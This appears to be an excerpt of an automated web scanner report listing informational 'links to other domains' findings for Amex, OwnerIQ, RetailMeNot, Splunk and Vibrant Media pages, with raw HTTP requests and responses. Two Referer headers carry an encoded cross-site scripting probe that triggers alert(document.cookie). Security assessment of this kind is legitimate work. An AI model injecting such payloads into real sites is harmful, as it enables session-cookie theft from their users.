https://www209.americanexpress.com/merchant/marketing-data/pages/reportsandtrends?inav=menu_business_merchspend
https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/feefreeservices/pages/globalassist_allccsg_shareddetails.do?vgnextoid=24c615ab025ed010VgnVCM10000084b3ad94RCRD&vgnextchannel=3c830da9846dd010VgnVCM10000084b3ad94RCRD&name=globalassist_allccsg_shareddetails&type=intBenefitDetail&inav=menu_travel_globalassist
https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/fraudprotectioncenter/fraudprotectioncenter_homepage.do?vgnextoid=2621c0f7c5a4c110VgnVCM100000defaad94RCRD&inav=footer_fraud_protection_center
https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/pass_markup_homepage.do?vgnextoid=2e265b3a7fba9210VgnVCM100000defaad94RCRD&inav=menu_cards_reloadablecards
https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/travelerschequesandforeigncurrency.do?vgnextoid=6d17fc671492a110VgnVCM100000defaad94RCRD&inav=menu_travel_cheques
https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/privacystatement/internetprivacystatement.do?vgnextoid=f25533fadb4ca110VgnVCM100000defaad94RCRD&vgnextchannel=9823f30b6b1ca110VgnVCM100000defaad94RCRD&us_nu=footer&source=footer_privacy_statement&inav=footer_privacy_statement
https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/smallbusiness/accountservices/aa_aam.do?vgnextoid=3be0ed9d41d75210VgnVCM200000d0faad94RCRD&inav=open_delegate
https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/smallbusiness/businesstravel/businesstravel.do?vgnextoid=988c78276da87210VgnVCM200000d0faad94RCRD&inav=menu_travel_open
https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/smallbusiness/businesstravel/businesstravel.do?vgnextoid=988c78276da87210VgnVCM200000d0faad94RCRD&inav=open_biztravel
https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/smallbusiness/smartcreditguide/account_tools.do?vgnextoid=05d117a4ecdcf110VgnVCM200000d0faad94RCRD&inav=open_learnaboutacctmngt
https://www212.americanexpress.com/dsmlive/dsm/dom/us/merchants/nonsecure/acceptthecard.do?vgnextoid=72a5686c12612210VgnVCM100000defaad94RCRD&inav=menu_business_merchaccept
https://www212.americanexpress.com/dsmlive/dsm/dom/us/merchants/nonsecure/manageyouraccount.do?vgnextoid=b79c41b80e452210VgnVCM200000d0faad94RCRD&inav=menu_business_merchaccounts
https://www212.americanexpress.com/dsmlive/dsm/int/contactus/personalcards.do?vgnextoid=c3d6c697b3bdc110VgnVCM100000defaad94RCRD&page=1&source=footer_contact_us&inav=footer_contact_us
https://www212.americanexpress.com/dsmlive/dsm/int/contactus/smallbusiness.do?vgnextoid=66397e7fb5bdc110VgnVCM100000defaad94RCRD&page=2&inav=iNavUtilContact
https://www212.americanexpress.com/dsmlive/dsm/int/fxip/fxinternationalpayments.do?vgnextoid=7d032027eaafc110VgnVCM200000d0faad94RCRD&inav=menu_business_corpfx
https://www212.americanexpress.com/dsmlive/dsm/int/us/en/cmaproductspage.do?vgnextoid=bbf185df62df5210VgnVCM100000defaad94RCRD&source=footer_card_agreements&inav=footer_card_agreements
https://www257.americanexpress.com/openhome/maximizerewards.do?&inav=open_runfund&inav=open_mr
https://www257.americanexpress.com/openhome/smallbusiness.do?isFlash=true&inav=menu_business_openhome
https://www257.americanexpress.com/opensavings/opensavings.do?inav=open_opensavings
https://www295.americanexpress.com/cards/home.do?inav=ExploreYourCardsRewardsProgram
https://www295.americanexpress.com/cards/home.do?inav=menu_myacct_cardbenefits
https://www295.americanexpress.com/entertainmentaccess/home.do?inav=menu_rewards_entertainment
https://www295.americanexpress.com/fsea/travel/osbn/hub.do?inav=open_preminsurance
https://www295.americanexpress.com/premium/credit-card-travel-insurance/home.do?inav=footer_prem_services
https://www295.americanexpress.com/premium/credit-card-travel-insurance/home.do?inav=menu_travel_protection
https://www295.americanexpress.com/premium/credit-report-monitoring/enquiry.do?inav=menu_myacct_creditsecure
https://www99.americanexpress.com/myca/onlinepayment/us/paymentcenter.do?request_type=authreg_PayBill&Details=true&Face=en_US&sorted_index=0&inav=open_paybill
https://www99.americanexpress.com/myca/usermgt/us/action?request_type=auth_nucleusLogin&Face=en_US&lgnsrc=nucleus&PROSPECT=Y&TPREDIRECT_URL=https%3a%2f%2fwww.openforum.com%2f%3fcid%253dinav_home%2526inav%253dmenu_business_openforum
https://xedge.aperture.displaymarketplace.com/displayscript.js?liveconclientID=4045860080196&PageID=11&EventType=View&rand=988B6E8

Request

GET /?cid=inav_home&inav=menu_business_openforum HTTP/1.1
Host: www.openforum.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Content-Type: text/html; charset=utf-8
SSL: True
Expires: Sat, 05 Feb 2011 22:07:15 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sat, 05 Feb 2011 22:07:15 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: plv=lv=af6b38e2-af41-4de2-b212-3468d374f14c; path=/
Set-Cookie: BIGipServerAmex=2735450304.20480.0000; path=/
Content-Length: 102281

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphpro
...[SNIP]...
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><link media="all" type="text/css" href="https://secure.americanexpress.com/NextGenNavigation/css/inav_ngi_nested.css" rel="stylesheet" />


<script language="JavaScript" src="https://xedge.aperture.displaymarketplace.com/displayscript.js?liveconclientID=4045860080196&PageID=11&EventType=View&rand=988B6E8"></script>
<noscript><img src="https://secure.aperture.displaymarketplace.com/audmeasure.gif?liveconclientID=4045860080196&PageID=11&EventType=view&rand=988B6E8" height="1" width="1" border="0" /></noscript>
...[SNIP]...

20.206. http://www.othawaii.com/default.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.othawaii.com
Path:	/default.asp

Issue detail

The page was loaded from a URL containing a query string:

http://www.othawaii.com/default.asp?promoCode=987-78

The response contains the following links to other domains:

http://www.orthosupersite.com/
http://www.orthosupersite.com/cmecenter/ortho/payment/rid/61899/

Request

GET /default.asp?promoCode=987-78 HTTP/1.1
Host: www.othawaii.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 22:09:11 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 7135
Content-Type: text/html
Set-Cookie: promoCode=987%2D78; path=/
Set-Cookie: ASPSESSIONIDCADDSQTB=PNOPIINCCOHAAGBEKJOCEMNK; path=/
Cache-control: private

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<a href="http://www.orthosupersite.com/cmecenter/ortho/payment/rid/61899/" target="_blank"><img src="images/V10-0162_OT_HI_DVT_2010_Enduring_WebAd.jpg" alt="Preventing and Treating DVTs in Orthopedic Practice" width="160" height="600" border="0" />
...[SNIP]...

20.207. http://www.owneriq.com/ownership-targeting previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/ownership-targeting

Issue detail

The page was loaded from a URL containing a query string:

http://www.owneriq.com/ownership-targeting?src=728x90_blue

The response contains the following links to other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.1/jquery.min.js
http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js
http://leadback.advertising.com/adcedge/lb?site=695501&srvc=1&betr=39060_NDM_cs=tagvalue&betq=11311=420919
http://live.activeconversion.com/ac.js
http://live.activeconversion.com/webtracker/track.html?method=track&pid=31021&java=0
http://t2.trackalyzer.com/trackalyze.js
http://twitter.com/owneriq
http://www.activeconversion.com/
http://www.facebook.com/pages/OwnerIQ/54446991004
http://www.googleadservices.com/pagead/conversion.js
http://www.googleadservices.com/pagead/conversion/1047459996/?label=EiO6CP7PpAEQnPG78wM&guid=ON&script=0
http://www.linkedin.com/companies/222438/OwnerIQ
http://www.youtube.com/embed/208T0-OLXA8
http://www.youtube.com/embed/5aWd_-x1oPE
http://www.youtube.com/v/vu-10mHqFko?fs=1&hl=en_US&color1=0x3a3a3a&color2=0x999999

Request

GET /ownership-targeting?src=728x90_blue HTTP/1.1
Host: www.owneriq.com
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:30:47 GMT
Server: Apache/2.2.6 (Fedora)
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 27382

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>Ownership Targeting | OwnerIQ<
...[SNIP]...


<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.1/jquery.min.js" type="text/javascript"></script>
<script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js" type="text/javascript"></script>
...[SNIP]...
<div id="socialMedia">
       <a href="http://www.facebook.com/pages/OwnerIQ/54446991004"><img src="images/iconFacebook.png" alt="Facebook" /></a>
       <a href="http://twitter.com/owneriq"><img src="images/iconTwitter.png" alt="Twitter" /></a>
       <a href="http://www.linkedin.com/companies/222438/OwnerIQ"><img src="images/iconLinkedin.png" alt="LinkedIn" />
...[SNIP]...
</param><embed src="http://www.youtube.com/v/vu-10mHqFko?fs=1&hl=en_US&color1=0x3a3a3a&color2=0x999999" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="438" height="300"></embed>
...[SNIP]...
<div class="movie">
<iframe title="YouTube video player" class="youtube-player" type="text/html" width="393" height="211" src="http://www.youtube.com/embed/208T0-OLXA8" frameborder="0" allowFullScreen></iframe>
...[SNIP]...
<div class="movie" style="margin-top:20px;">
<iframe title="YouTube video player" class="youtube-player" type="text/html" width="393" height="211" src="http://www.youtube.com/embed/5aWd_-x1oPE" frameborder="0" allowFullScreen></iframe>
...[SNIP]...

<img src="http://leadback.advertising.com/adcedge/lb?site=695501&srvc=1&betr=39060_NDM_cs=tagvalue&betq=11311=420919" width = "1" height = "1" border = "0">


...[SNIP]...
</script>
<script type="text/javascript" language="javascript" src="http://t2.trackalyzer.com/trackalyze.js"></script>


<script type="text/javascript" language="javascript" src="http://live.activeconversion.com/ac.js"></script>
...[SNIP]...
<noscript>
   <a href="http://www.activeconversion.com/" target="_blank">
       <img src="http://live.activeconversion.com/webtracker/track.html?method=track&pid=31021&java=0" alt="Demand Generation" border="0">
   </a>
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js">
</script>
...[SNIP]...
<div style="display:inline;">
<img height="1" width="1" style="border-style:none;" alt="" src="http://www.googleadservices.com/pagead/conversion/1047459996/?label=EiO6CP7PpAEQnPG78wM&guid=ON&script=0"/>
</div>
...[SNIP]...

20.208. http://www.retailmenot.com/gui/widget.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.retailmenot.com
Path:	/gui/widget.html

Issue detail

The page was loaded from a URL containing a query string:

http://www.retailmenot.com/gui/widget.html?aff=manualsonline&title=&defaultQuery=&width=300&height=400&c_shellBg=f3f3f3&c_shellFg=4C8E13&c_couponBg=96c63a&c_couponFg=fff&c_link=fff&c_codeTip=000

The response contains the following link to another domain:

http://rmncdn.com/widget_cdn.html?aff=manualsonline&title=&defaultQuery=&width=300&height=400&c_shellBg=f3f3f3&c_shellFg=4C8E13&c_couponBg=96c63a&c_couponFg=fff&c_link=fff&c_codeTip=000

Request

GET /gui/widget.html?aff=manualsonline&title=&defaultQuery=&width=300&height=400&c_shellBg=f3f3f3&c_shellFg=4C8E13&c_couponBg=96c63a&c_couponFg=fff&c_link=fff&c_codeTip=000 HTTP/1.1
Host: www.retailmenot.com
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 301 Moved Permanently
Date: Sat, 05 Feb 2011 22:27:23 GMT
Server: Apache/2.0.52 (CentOS)
Location: http://rmncdn.com/widget_cdn.html?aff=manualsonline&title=&defaultQuery=&width=300&height=400&c_shellBg=f3f3f3&c_shellFg=4C8E13&c_couponBg=96c63a&c_couponFg=fff&c_link=fff&c_codeTip=000
Content-Length: 518
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://rmncdn.com/widget_cdn.html?aff=manualsonline&title=&defaultQuery=&width=300&height=400&c_shellBg=f3f3f3&c_shellFg=4C8E13&c_couponBg=96c63a&c_couponFg=fff&c_link=fff&c_codeTip=000">here</a>
...[SNIP]...

20.209. http://www.splunk.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/

Issue detail

The page was loaded from a URL containing a query string:

http://www.splunk.com/?r=header

The response contains the following links to other domains:

http://creativecommons.org/licenses/by-nc-nd/2.5/
http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash
http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
https://splunk.webex.com/mw0305l/mywebex/default.do?siteurl=splunk&service=6
https://www.infosecisland.com/blogview/5213-Splunk-4-Users-Review.html

Request

GET /?r=header HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:12:17 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: 59c14adcaaedb73432b5f1bd3490823c1296943939
Last-Modified: Sat, 05 Feb 2011 22:12:19 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 55968

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
   <html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/d
...[SNIP]...
<p><a href="http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/">Macy's Online Operations</a>
...[SNIP]...
<p><a href="https://www.infosecisland.com/blogview/5213-Splunk-4-Users-Review.html">Splunk 4 User's Review</a>
...[SNIP]...
</div>

<a href="https://splunk.webex.com/mw0305l/mywebex/default.do?siteurl=splunk&service=6"><img class="quoteeLogo" src="http://coverall.splunk.com/web_assets/v5/homepage/online-events-wide.png" />
...[SNIP]...
<p><a href="https://splunk.webex.com/mw0305l/mywebex/default.do?siteurl=splunk&service=6">Splunk Weekly Web Demo</a><br/>
Join a 30 minute overview and demo of Splunk. <a href="https://splunk.webex.com/mw0305l/mywebex/default.do?siteurl=splunk&service=6">Register »</a>
...[SNIP]...
</p>
                       <a href="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash" target="_blank">Click here</a>
...[SNIP]...
<li><a href="http://creativecommons.org/licenses/by-nc-nd/2.5/">Community content licensed under Creative Commons</a>
...[SNIP]...

20.210. http://www.splunk.com/download previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/download

Issue detail

The page was loaded from a URL containing a query string:

http://www.splunk.com/download?ac=Adwords_Unix&_kk=unix%20server&_kt=c6320b89-e2a5-4dbf-a9d0-dd556bdb1c51&gclid=CPeW6bn_8aYCFcfe4Aod22SxHw

The response contains the following links to other domains:

http://a.tribalfusion.com/i.cid?c=333063&d=30&page=landingPage
http://creativecommons.org/licenses/by-nc-nd/2.5/
http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash

Request

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:49:00 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
Set-Cookie: Apache=173.193.214.243.1296942540001460; path=/; expires=Sun, 01-Feb-26 21:49:00 GMT; domain=.splunk.com
X-Powered-By: PHP/5.2.6
Set-Cookie: XARAYASID=ms69fapvgb6kjldegl9ntpo0g1; expires=Wed, 06 Feb 2036 03:49:00 GMT; path=/; domain=.splunk.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 38524

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<br style="clear:both"/>

<img src='http://a.tribalfusion.com/i.cid?c=333063&d=30&page=landingPage' width='1' height='1' border='0'>

<div class="downloadText" id="downloadTextAIX">
...[SNIP]...
</p>
<a href="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash" target="_blank">Click here</a>
...[SNIP]...
<li><a href="http://creativecommons.org/licenses/by-nc-nd/2.5/">Community content licensed under Creative Commons</a>
...[SNIP]...

20.211. http://www.splunk.com/videos previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/videos

Issue detail

The page was loaded from a URL containing a query string:

http://www.splunk.com/videos?r=modal

The response contains the following links to other domains:

http://creativecommons.org/licenses/by-nc-nd/2.5/
http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash

Request

GET /videos?r=modal HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:18:39 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 76793

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
</p>
<a href="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash" target="_blank">Click here</a>
...[SNIP]...
</p>
<a href="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash" target="_blank">Click here</a>
...[SNIP]...
<li><a href="http://creativecommons.org/licenses/by-nc-nd/2.5/">Community content licensed under Creative Commons</a>
...[SNIP]...

20.212. http://www.splunk.com/view/contact-us/SP-CAAAAH7 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/contact-us/SP-CAAAAH7

Issue detail

The page was loaded from a URL containing a query string:

http://www.splunk.com/view/contact-us/SP-CAAAAH7?r=header

The response contains the following links to other domains:

http://creativecommons.org/licenses/by-nc-nd/2.5/
http://maps.google.com/maps?q=250+Brannan+St,+San+Francisco,+San+Francisco,CA
http://twitter.com/splunk
http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash
http://www.efnet.org/
http://www.facebook.com/home.php?ref=ts
http://www.linkedin.com/groups?gid=1913714
http://www.splunkbase.com/
http://www.youtube.com/user/splunkvideos

Request

GET /view/contact-us/SP-CAAAAH7?r=header HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:12:35 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: 5761b1fe117ed27d865064dc0f23b8ed1296943956
Last-Modified: Sat, 05 Feb 2011 22:12:36 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 28292

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<br />
<a href="http://maps.google.com/maps?q=250+Brannan+St,+San+Francisco,+San+Francisco,CA" target="thegoogle">Map and Directions</a>
...[SNIP]...
<div class="clear">
<a href="http://www.splunkbase.com"><img src="http://coverall.splunk.com/web_assets/logos/sidebar/social/splunkbase.png" height="20" width="60" alt="efnet" class="left">
...[SNIP]...
<p><a href="http://www.splunkbase.com">Find an app on Splunkbase</a>
...[SNIP]...
<div class="clear">
<a href="http://www.efnet.org/"><img src="http://coverall.splunk.com/web_assets/logos/sidebar/social/efnet.png" height="20" width="60" alt="efnet" class="left">
...[SNIP]...
<p><a href="http://www.efnet.org/">Join the IRC channel #Splunk on efnet</a>
...[SNIP]...
<div class="clear">
<a href="http://www.facebook.com/home.php#/pages/San-Francisco-CA/Splunk/5777172751?ref=ts"><img src="http://coverall.splunk.com/web_assets/logos/sidebar/social/facebook.png" height="20" width="60" alt="" class="left">
...[SNIP]...
<p><a href="http://www.facebook.com/home.php#/pages/San-Francisco-CA/Splunk/5777172751?ref=ts">Become a Fan of Splunk on Facebook</a>
...[SNIP]...
<div class="clear">
<a href="http://www.linkedin.com/groups?gid=1913714"><img src="http://coverall.splunk.com/web_assets/logos/sidebar/social/linkedin.png" height="20" width="60" alt="Linkedin" class="left">
...[SNIP]...
<p><a href="http://www.linkedin.com/groups?gid=1913714">Join the Splunk Linkedin Group</a>
...[SNIP]...
<div class="clear">
<a href="http://twitter.com/splunk"><img src="http://coverall.splunk.com/web_assets/logos/sidebar/social/twitter.png" height="20" width="60" alt="Twitter" class="left">
...[SNIP]...
<p><a href="http://twitter.com/splunk">Follow @Splunk on Twitter</a>
...[SNIP]...
<div class="clear">
<a href="http://www.youtube.com/user/splunkvideos"><img src="http://coverall.splunk.com/web_assets/logos/sidebar/social/youtube.png" height="20" width="60" alt="YouTube" class="left">
...[SNIP]...
<p><a href="http://www.youtube.com/user/splunkvideos">Watch Splunk videos on YouTube</a>
...[SNIP]...
</p>
<a href="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash" target="_blank">Click here</a>
...[SNIP]...
<li><a href="http://creativecommons.org/licenses/by-nc-nd/2.5/">Community content licensed under Creative Commons</a>
...[SNIP]...

20.213. http://www.vibrantmedia.com/whatisIntelliTXT.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.vibrantmedia.com
Path:	/whatisIntelliTXT.asp

Issue detail

The page was loaded from a URL containing a query string:

http://www.vibrantmedia.com/whatisIntelliTXT.asp?ipid=${ipid}&cc=${cc}&server=${itxtserver}

The response contains the following links to other domains:

http://images.intellitxt.com/ast/demo_assets/swfobject.js
http://intellitxt.com/opt_out/ch_optout.asp
http://www.pchell.com/support/toptext.shtml
http://www.scumware.com/

Request

GET /whatisIntelliTXT.asp?ipid=${ipid}&cc=${cc}&server=${itxtserver} HTTP/1.1
Host: www.vibrantmedia.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
